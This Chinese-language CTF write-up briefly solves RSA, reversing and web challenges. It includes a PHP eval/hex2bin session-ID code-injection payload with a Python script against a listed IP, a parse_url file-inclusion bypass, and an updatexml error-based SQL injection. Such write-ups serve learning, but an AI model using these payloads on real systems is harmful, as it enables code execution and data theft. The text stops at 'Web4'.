ctf 改变图片高度_易博霖CTF+MRCTF

易博霖CTF

签到题

RSABackDoor

先用脚本跑出p

分解后直接求

Re1

转一下就是flag

RE_Babyangr

分析主函数，大致意思为输入16个字符，然后经过complex_function函数的处理与password比较

complex_function函数如下

告诉我们字符范围为65到90，直接爆破求出flag

Web1

限制传入的参数只能为 function(function(function()))

这种类型

session_id 用来获取当前会话id，但是会话id的组成仅允许字母数字，这样可以想到用十六进制来进行操作。

所以构造

payload：eval(hex2bin(session_id(session_start())));

脚本：

import requests

url= "http://124.193.74.212:32625/?var=eval(hex2bin(session_id(session_start())));"

payload="var_dump(file_get_contents('/flag.txt'));".encode('hex')

cookies={'PHPSESSID':payload}

Web2

File 参数后门跟着一串base64编码两次的字符串 对其解码为

ctfimage.jpg

判断存在文件包含漏洞 构造index.php 编码两次传入得到源码

提示读取hal0flagi5here.php

虽然index.php里做了将ctf转成flag的处理，但并没有限制flag字符串，不知道这个判断有什么意义。

根据提示知道是 parse_url的漏洞

直接构造

dict://@happyctf.com/../../../../flag.txt

Web3

有注册登录改密码三个功能

在改密码的时候会进行查询操作

只要在第一步注册用户名时插入” 在改密码时点击提交就会产生报错

注册用户名

yy"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

查出了当前数据库的表名

用脚本跑出flag

Web4

<